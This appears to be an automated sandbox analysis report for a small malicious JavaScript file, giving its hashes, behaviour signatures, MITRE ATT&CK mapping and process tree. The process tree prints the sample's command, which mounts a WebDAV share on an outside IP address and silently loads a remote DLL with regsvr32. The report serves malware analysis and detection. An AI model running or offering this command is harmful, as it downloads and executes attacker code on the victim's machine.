b39258e1d37a06c8560f97c10b22584aa94702353a4be38056b7bf816ef6d99c

Analysis

max time kernel
121s
max time network
126s
platform
windows7_x64
resource
win7-20240705-en
resource tags

arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
submitted
23/07/2024, 03:18

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General

Target

b39258e1d37a06c8560f97c10b22584aa94702353a4be38056b7bf816ef6d99c.js
Size

4KB
MD5

6ccc4df732256376696a71607bf608f4
SHA1

5ffcba9f9e07d6a209b0ba62ab5e6c464d046470
SHA256

b39258e1d37a06c8560f97c10b22584aa94702353a4be38056b7bf816ef6d99c
SHA512

a1d650311a46964d50837d550d2177bf0794bdb86282741809a4953f741bcb33267e9a4cf8ed24f4d06e1b4021160767b9cfe2fbf70b6a8630d1dcd63286563e
SSDEEP

96:YPSz/Rj9HVYa1+7q71qL6G3HVgYHVstHV12x1qLTHVv2aBcX7HVK/HPZqEIqA//Y:lDnk/dAkGk/dP2

Score

3^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Runs net.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2168 wrote to memory of 1920	2168	wscript.exe	30
PID 2168 wrote to memory of 1920	2168	wscript.exe	30
PID 2168 wrote to memory of 1920	2168	wscript.exe	30
PID 1920 wrote to memory of 1440	1920	cmd.exe	32
PID 1920 wrote to memory of 1440	1920	cmd.exe	32
PID 1920 wrote to memory of 1440	1920	cmd.exe	32

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\b39258e1d37a06c8560f97c10b22584aa94702353a4be38056b7bf816ef6d99c.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2168
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k net use \\45.9.74.36@8888\davwwwroot\ && regsvr32 /s \\45.9.74.36@8888\davwwwroot\5739137043878.dll
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1920
- - C:\Windows\system32\net.exe
    net use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:1440

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Windows 7 deprecation

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